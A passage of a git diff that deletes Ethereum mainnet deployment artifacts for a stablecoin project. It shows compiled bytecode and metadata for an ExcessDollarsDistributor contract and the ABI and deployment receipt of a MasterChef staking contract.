e01b815260040160206040518083038186803b1580156101ed57600080fd5b505afa158015610201573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061022591906118d2565b9050600061027361025b610239600a61033b565b6102428661033b565b6fffffffffffffffffffffffffffffffff1916906103a8565b6fffffffffffffffffffffffffffffffff19166106f3565b905061030e828260008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156102c657600080fd5b505afa1580156102da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102fe91906118d2565b6001600160a01b0316919061078b565b61031781610820565b610334816103258186611b3d565b61032f9190611b3d565b610c89565b5050505b50565b60008161034a575060006103a3565b8160006103568261125e565b9050607081101561036f578060700382901b9150610382565b6070811115610382576070810382901c91505b613fff0160701b6dffffffffffffffffffffffffffff919091161760801b90505b919050565b6000617fff60f084811c8216919084901c8116908214156103ee5780617fff14156103dd575061ffff60ef1b91506106ed9050565b505050600160ff1b811682186106ed565b80617fff141561043f577dffffffffffffffffffffffffffff0000000000000000000000000000000084161561042e575061ffff60ef1b91506106ed9050565b505050808218600160ff1b166106ed565b6f7fffffffffffffffffffffffffffffff60801b841661049b576f7fffffffffffffffffffffffffffffff60801b8516610483575061ffff60ef1b91506106ed9050565b505050808218600160ff1b16617fff60f01b176106ed565b6dffffffffffffffffffffffffffff608085901c16816104be57600191506104c5565b600160701b175b6dffffffffffffffffffffffffffff608087901c168361050b5780156105065760006104f08261125e565b6001955060e20393840160711901939190911b90505b610515565b600160701b1760721b5b81818161053257634e487b7160e01b600052601260045260246000fd5b0490508061055f57600160ff1b8787181661054e576000610554565b600160ff1b5b9450505050506106ed565b6d100000000000000000000000000081101561058b57634e487b7160e01b600052600160045260246000fd5b60006e0800000000000000000000000000008210156105ec576e0400000000000000000000000000008210156105e1576e0200000000000000000000000000008210156105d95760706105dc565b60715b6105e4565b60725b60ff166105f5565b6105f58261125e565b90508361407101818601111561061357617fff9450600091506106ad565b83818601613ffc01101561062e5760009450600091506106ad565b83818601613f8c01101561067b578385613ffc011115610659578385613ffc010382901b9150610672565b8385613ffc01101561067257613ffc8585030382901c91505b600094506106ad565b607081111561068e576070810382901c91505b6dffffffffffffffffffffffffffff8216915083818601613f8d010394505b81607086901b888a186f8000000000000000000000000000000060801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050505b92915050565b6000617fff60f083901c16613fff8110156107125760009150506103a3565b6f80000000000000000000000000000000608084901c1061073257600080fd5b6140fe81111561074157600080fd5b600160701b6dffffffffffffffffffffffffffff608085901c161761406f8210156107725761406f8290031c610784565b61406f8211156107845761406e1982011b5b9392505050565b6040516001600160a01b03831660248201526044810182905261081b90849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff000000000000000000000000000000000000000000000000000000009093169290921790915261130e565b505050565b600061083861082f600261033b565b6102428461033b565b90506108f57f000000000000000000000000000000000000000000000000000000000000000060008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b505afa1580156108c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e591906118d2565b6001600160a01b031691906113f8565b6109667f00000000000000000000000000000000000000000000000000000000000000008360008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b600061097182611523565b90506109e67f000000000000000000000000000000000000000000000000000000000000000060008060009054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b610a577f00000000000000000000000000000000000000000000000000000000000000008260008054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663e8e3370060008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610ad257600080fd5b505afa158015610ae6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0a91906118d2565b60008054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5657600080fd5b505afa158015610b6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8e91906118d2565b610baa6fffffffffffffffffffffffffffffffff1987166106f3565b8560008080610bba426064611b25565b60405160e08a901b7fffffffff000000000000000000000000000000000000000000000000000000001681526001600160a01b039889166004820152968816602488015260448701959095526064860193909352608485019190915260a484015290921660c482015260e481019190915261010401606060405180830381600087803b158015610c4957600080fd5b505af1158015610c5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8191906119f1565b505050505050565b600080546040805163d3815fb960e01b81529051610d57926001600160a01b03169163d3815fb9916004808301926020929190829003018186803b158015610cd057600080fd5b505afa158015610ce4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0891906118d2565b60008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b6000546040805163d3815fb960e01b81529051610e19926001600160a01b03169163d3815fb9916004808301926020929190829003018186803b158015610d9d57600080fd5b505afa158015610db1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd591906118d2565b60005460408051631787d40360e31b8152905186926001600160a01b03169163bc3ea018916004808301926020929190829003018186803b1580156108ad57600080fd5b60008060009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6857600080fd5b505afa158015610e7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea091906118d2565b604051630f7c084960e21b8152600060048201819052600160248301526044820186905260648201526001600160a01b039190911690633df0212490608401602060405180830381600087803b158015610ef957600080fd5b505af1158015610f0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3191906119d9565b905061100960008054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8257600080fd5b505afa158015610f96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fba91906118d2565b60008060009054906101000a90046001600160a01b03166001600160a01b031663017df3276040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b6000546040805163d3815fb960e01b815290516110cb926001600160a01b03169163d3815fb9916004808301926020929190829003018186803b15801561104f57600080fd5b505afa158015611063573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108791906118d2565b6000546040805163017df32760e01b8152905185926001600160a01b03169163017df327916004808301926020929190829003018186803b1580156108ad57600080fd5b60008060009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561111a57600080fd5b505afa15801561112e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115291906118d2565b604080518082018252600080825260208083018790528154845163de71c1db60e01b815294516001600160a01b0396871696630c3e4b549692169263de71c1db9260048082019391829003018186803b1580156111ae57600080fd5b505afa1580156111c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e691906118d2565b6040518463ffffffff1660e01b815260040161120493929190611a3a565b602060405180830381600087803b15801561121e57600080fd5b505af1158015611232573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125691906119d9565b949350505050565b600080821161126c57600080fd5b6000700100000000000000000000000000000000831061128e57608092831c92015b6801000000000000000083106112a657604092831c92015b64010000000083106112ba57602092831c92015b6201000083106112cc57601092831c92015b61010083106112dd57600892831c92015b601083106112ed57600492831c92015b600483106112fd57600292831c92015b600283106106ed5760010192915050565b6000611363826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166117c79092919063ffffffff16565b80519091501561081b578080602001905181019061138191906119b9565b61081b5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f7420737563636565640000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b8015806114815750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b15801561144757600080fd5b505afa15801561145b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147f91906119d9565b155b6114f35760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527f20746f206e6f6e2d7a65726f20616c6c6f77616e63650000000000000000000060648201526084016113ef565b6040516001600160a01b03831660248201526044810182905261081b90849063095ea7b360e01b906064016107b7565b6040805160028082526060820183526000928392919060208301908036833701905050905060008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561159457600080fd5b505afa1580156115a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cc91906118d2565b816000815181106115ed57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b03168152505060008054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b15801561165957600080fd5b505afa15801561166d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169191906118d2565b816001815181106116b257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526000907f0000000000000000000000000000000000000000000000000000000000000000166338ed173961170e6fffffffffffffffffffffffffffffffff1987166106f3565b6000853061171d426064611b25565b6040518663ffffffff1660e01b815260040161173d959493929190611ab5565b600060405180830381600087803b15801561175757600080fd5b505af115801561176b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261179391908101906118f9565b9050806001815181106117b657634e487b7160e01b600052603260045260246000fd5b602002602001015192505050919050565b6060611256848460008585843b6118205760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016113ef565b600080866001600160a01b0316858760405161183c9190611a1e565b60006040518083038185875af1925050503d8060008114611879576040519150601f19603f3d011682016040523d82523d6000602084013e61187e565b606091505b509150915061188e828286611899565b979650505050505050565b606083156118a8575081610784565b8251156118b85782518084602001fd5b8160405162461bcd60e51b81526004016113ef9190611a82565b6000602082840312156118e3578081fd5b81516001600160a01b0381168114610784578182fd5b6000602080838503121561190b578182fd5b825167ffffffffffffffff80821115611922578384fd5b818501915085601f830112611935578384fd5b81518181111561194757611947611b96565b8060051b604051601f19603f8301168101818110858211171561196c5761196c611b96565b604052828152858101935084860182860187018a101561198a578788fd5b8795505b838610156119ac57805185526001959095019493860193860161198e565b5098975050505050505050565b6000602082840312156119ca578081fd5b81518015158114610784578182fd5b6000602082840312156119ea578081fd5b5051919050565b600080600060608486031215611a05578182fd5b8351925060208401519150604084015190509250925092565b60008251611a30818460208701611b54565b9190910192915050565b60808101818560005b6002811015611a62578151835260209283019290910190600101611a43565b5050508360408301526001600160a01b0383166060830152949350505050565b6000602082528251806020840152611aa1816040850160208701611b54565b601f01601f19169190910160400192915050565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b045784516001600160a01b031683529383019391830191600101611adf565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b3857611b38611b80565b500190565b600082821015611b4f57611b4f611b80565b500390565b60005b83811015611b6f578181015183820152602001611b57565b838111156103345750506000910152565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063481c6a751461003b578063651156bc1461006a575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b610072610074565b005b60008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156100c357600080fd5b505afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb91906118d2565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b15801561013c57600080fd5b505afa158015610150573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017491906119d9565b90507f00000000000000000000000000000000000000000000000000000000000000008111156103385760008060009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b1580156101ed57600080fd5b505afa158015610201573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061022591906118d2565b9050600061027361025b610239600a61033b565b6102428661033b565b6fffffffffffffffffffffffffffffffff1916906103a8565b6fffffffffffffffffffffffffffffffff19166106f3565b905061030e828260008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156102c657600080fd5b505afa1580156102da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102fe91906118d2565b6001600160a01b0316919061078b565b61031781610820565b610334816103258186611b3d565b61032f9190611b3d565b610c89565b5050505b50565b60008161034a575060006103a3565b8160006103568261125e565b9050607081101561036f578060700382901b9150610382565b6070811115610382576070810382901c91505b613fff0160701b6dffffffffffffffffffffffffffff919091161760801b90505b919050565b6000617fff60f084811c8216919084901c8116908214156103ee5780617fff14156103dd575061ffff60ef1b91506106ed9050565b505050600160ff1b811682186106ed565b80617fff141561043f577dffffffffffffffffffffffffffff0000000000000000000000000000000084161561042e575061ffff60ef1b91506106ed9050565b505050808218600160ff1b166106ed565b6f7fffffffffffffffffffffffffffffff60801b841661049b576f7fffffffffffffffffffffffffffffff60801b8516610483575061ffff60ef1b91506106ed9050565b505050808218600160ff1b16617fff60f01b176106ed565b6dffffffffffffffffffffffffffff608085901c16816104be57600191506104c5565b600160701b175b6dffffffffffffffffffffffffffff608087901c168361050b5780156105065760006104f08261125e565b6001955060e20393840160711901939190911b90505b610515565b600160701b1760721b5b81818161053257634e487b7160e01b600052601260045260246000fd5b0490508061055f57600160ff1b8787181661054e576000610554565b600160ff1b5b9450505050506106ed565b6d100000000000000000000000000081101561058b57634e487b7160e01b600052600160045260246000fd5b60006e0800000000000000000000000000008210156105ec576e0400000000000000000000000000008210156105e1576e0200000000000000000000000000008210156105d95760706105dc565b60715b6105e4565b60725b60ff166105f5565b6105f58261125e565b90508361407101818601111561061357617fff9450600091506106ad565b83818601613ffc01101561062e5760009450600091506106ad565b83818601613f8c01101561067b578385613ffc011115610659578385613ffc010382901b9150610672565b8385613ffc01101561067257613ffc8585030382901c91505b600094506106ad565b607081111561068e576070810382901c91505b6dffffffffffffffffffffffffffff8216915083818601613f8d010394505b81607086901b888a186f8000000000000000000000000000000060801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050505b92915050565b6000617fff60f083901c16613fff8110156107125760009150506103a3565b6f80000000000000000000000000000000608084901c1061073257600080fd5b6140fe81111561074157600080fd5b600160701b6dffffffffffffffffffffffffffff608085901c161761406f8210156107725761406f8290031c610784565b61406f8211156107845761406e1982011b5b9392505050565b6040516001600160a01b03831660248201526044810182905261081b90849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff000000000000000000000000000000000000000000000000000000009093169290921790915261130e565b505050565b600061083861082f600261033b565b6102428461033b565b90506108f57f000000000000000000000000000000000000000000000000000000000000000060008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b505afa1580156108c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e591906118d2565b6001600160a01b031691906113f8565b6109667f00000000000000000000000000000000000000000000000000000000000000008360008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b600061097182611523565b90506109e67f000000000000000000000000000000000000000000000000000000000000000060008060009054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b610a577f00000000000000000000000000000000000000000000000000000000000000008260008054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663e8e3370060008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610ad257600080fd5b505afa158015610ae6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0a91906118d2565b60008054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5657600080fd5b505afa158015610b6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8e91906118d2565b610baa6fffffffffffffffffffffffffffffffff1987166106f3565b8560008080610bba426064611b25565b60405160e08a901b7fffffffff000000000000000000000000000000000000000000000000000000001681526001600160a01b039889166004820152968816602488015260448701959095526064860193909352608485019190915260a484015290921660c482015260e481019190915261010401606060405180830381600087803b158015610c4957600080fd5b505af1158015610c5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8191906119f1565b505050505050565b600080546040805163d3815fb960e01b81529051610d57926001600160a01b03169163d3815fb9916004808301926020929190829003018186803b158015610cd057600080fd5b505afa158015610ce4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0891906118d2565b60008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b6000546040805163d3815fb960e01b81529051610e19926001600160a01b03169163d3815fb9916004808301926020929190829003018186803b158015610d9d57600080fd5b505afa158015610db1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd591906118d2565b60005460408051631787d40360e31b8152905186926001600160a01b03169163bc3ea018916004808301926020929190829003018186803b1580156108ad57600080fd5b60008060009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6857600080fd5b505afa158015610e7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea091906118d2565b604051630f7c084960e21b8152600060048201819052600160248301526044820186905260648201526001600160a01b039190911690633df0212490608401602060405180830381600087803b158015610ef957600080fd5b505af1158015610f0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3191906119d9565b905061100960008054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8257600080fd5b505afa158015610f96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fba91906118d2565b60008060009054906101000a90046001600160a01b03166001600160a01b031663017df3276040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ad57600080fd5b6000546040805163d3815fb960e01b815290516110cb926001600160a01b03169163d3815fb9916004808301926020929190829003018186803b15801561104f57600080fd5b505afa158015611063573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108791906118d2565b6000546040805163017df32760e01b8152905185926001600160a01b03169163017df327916004808301926020929190829003018186803b1580156108ad57600080fd5b60008060009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561111a57600080fd5b505afa15801561112e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115291906118d2565b604080518082018252600080825260208083018790528154845163de71c1db60e01b815294516001600160a01b0396871696630c3e4b549692169263de71c1db9260048082019391829003018186803b1580156111ae57600080fd5b505afa1580156111c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e691906118d2565b6040518463ffffffff1660e01b815260040161120493929190611a3a565b602060405180830381600087803b15801561121e57600080fd5b505af1158015611232573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125691906119d9565b949350505050565b600080821161126c57600080fd5b6000700100000000000000000000000000000000831061128e57608092831c92015b6801000000000000000083106112a657604092831c92015b64010000000083106112ba57602092831c92015b6201000083106112cc57601092831c92015b61010083106112dd57600892831c92015b601083106112ed57600492831c92015b600483106112fd57600292831c92015b600283106106ed5760010192915050565b6000611363826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166117c79092919063ffffffff16565b80519091501561081b578080602001905181019061138191906119b9565b61081b5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f7420737563636565640000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b8015806114815750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b15801561144757600080fd5b505afa15801561145b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147f91906119d9565b155b6114f35760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527f20746f206e6f6e2d7a65726f20616c6c6f77616e63650000000000000000000060648201526084016113ef565b6040516001600160a01b03831660248201526044810182905261081b90849063095ea7b360e01b906064016107b7565b6040805160028082526060820183526000928392919060208301908036833701905050905060008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561159457600080fd5b505afa1580156115a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cc91906118d2565b816000815181106115ed57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b03168152505060008054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b15801561165957600080fd5b505afa15801561166d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169191906118d2565b816001815181106116b257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526000907f0000000000000000000000000000000000000000000000000000000000000000166338ed173961170e6fffffffffffffffffffffffffffffffff1987166106f3565b6000853061171d426064611b25565b6040518663ffffffff1660e01b815260040161173d959493929190611ab5565b600060405180830381600087803b15801561175757600080fd5b505af115801561176b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261179391908101906118f9565b9050806001815181106117b657634e487b7160e01b600052603260045260246000fd5b602002602001015192505050919050565b6060611256848460008585843b6118205760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016113ef565b600080866001600160a01b0316858760405161183c9190611a1e565b60006040518083038185875af1925050503d8060008114611879576040519150601f19603f3d011682016040523d82523d6000602084013e61187e565b606091505b509150915061188e828286611899565b979650505050505050565b606083156118a8575081610784565b8251156118b85782518084602001fd5b8160405162461bcd60e51b81526004016113ef9190611a82565b6000602082840312156118e3578081fd5b81516001600160a01b0381168114610784578182fd5b6000602080838503121561190b578182fd5b825167ffffffffffffffff80821115611922578384fd5b818501915085601f830112611935578384fd5b81518181111561194757611947611b96565b8060051b604051601f19603f8301168101818110858211171561196c5761196c611b96565b604052828152858101935084860182860187018a101561198a578788fd5b8795505b838610156119ac57805185526001959095019493860193860161198e565b5098975050505050505050565b6000602082840312156119ca578081fd5b81518015158114610784578182fd5b6000602082840312156119ea578081fd5b5051919050565b600080600060608486031215611a05578182fd5b8351925060208401519150604084015190509250925092565b60008251611a30818460208701611b54565b9190910192915050565b60808101818560005b6002811015611a62578151835260209283019290910190600101611a43565b5050508360408301526001600160a01b0383166060830152949350505050565b6000602082528251806020840152611aa1816040850160208701611b54565b601f01601f19169190910160400192915050565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b045784516001600160a01b031683529383019391830191600101611adf565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b3857611b38611b80565b500190565b600082821015611b4f57611b4f611b80565b500390565b60005b83811015611b6f578181015183820152602001611b57565b838111156103345750506000910152565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "constructor": { - "params": { - "_manager": "the address of the manager contract so we can fetch variables" - } - } - }, - "title": "An excess dollar distributor which sends dollars to treasury, lp rewards and inflation rewards", - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": {}, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 8033, - "contract": "contracts/ExcessDollarsDistributor.sol:ExcessDollarsDistributor", - "label": "manager", - "offset": 0, - "slot": "0", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - } - ], - "types": { - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/MasterChef.json b/packages/contracts/dollar/deployments/mainnet/MasterChef.json deleted file mode 100644 index 6b65282b4..000000000 --- a/packages/contracts/dollar/deployments/mainnet/MasterChef.json +++ /dev/null @@ -1,427 +0,0 @@ -{ - "address": "0x8fFCf9899738e4633A721904609ffCa0a2C44f3D", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "user", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "Deposit", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "user", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "Withdraw", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - }, - { - "internalType": "address", - "name": "sender", - "type": "address" - } - ], - "name": "deposit", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "getRewards", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "lastPrice", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "minPriceDiffToUpdateMultiplier", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_user", - "type": "address" - } - ], - "name": "pendingUGOV", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pool", - "outputs": [ - { - "internalType": "uint256", - "name": "lastRewardBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "accuGOVPerShare", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_minPriceDiffToUpdateMultiplier", - "type": "uint256" - } - ], - "name": "setMinPriceDiffToUpdateMultiplier", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_uGOVPerBlock", - "type": "uint256" - } - ], - "name": "setUGOVPerBlock", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "uGOVPerBlock", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "uGOVmultiplier", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "name": "userInfo", - "outputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "rewardDebt", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - }, - { - "internalType": "address", - "name": "sender", - "type": "address" - } - ], - "name": "withdraw", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ], - "transactionHash": "0x8d0b5f2e34b05a05725aa12fd1982427c540d3096d905a46eed2b02fb32773b9", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x8fFCf9899738e4633A721904609ffCa0a2C44f3D", - "transactionIndex": 24, - "gasUsed": "1520008", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0x912c58e333c7f54fce965dc519017e255197035a17d2831240b39a7a7f917959", - "transactionHash": "0x8d0b5f2e34b05a05725aa12fd1982427c540d3096d905a46eed2b02fb32773b9", - "logs": [], - "blockNumber": 12596435, - "cumulativeGasUsed": "3644512", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": 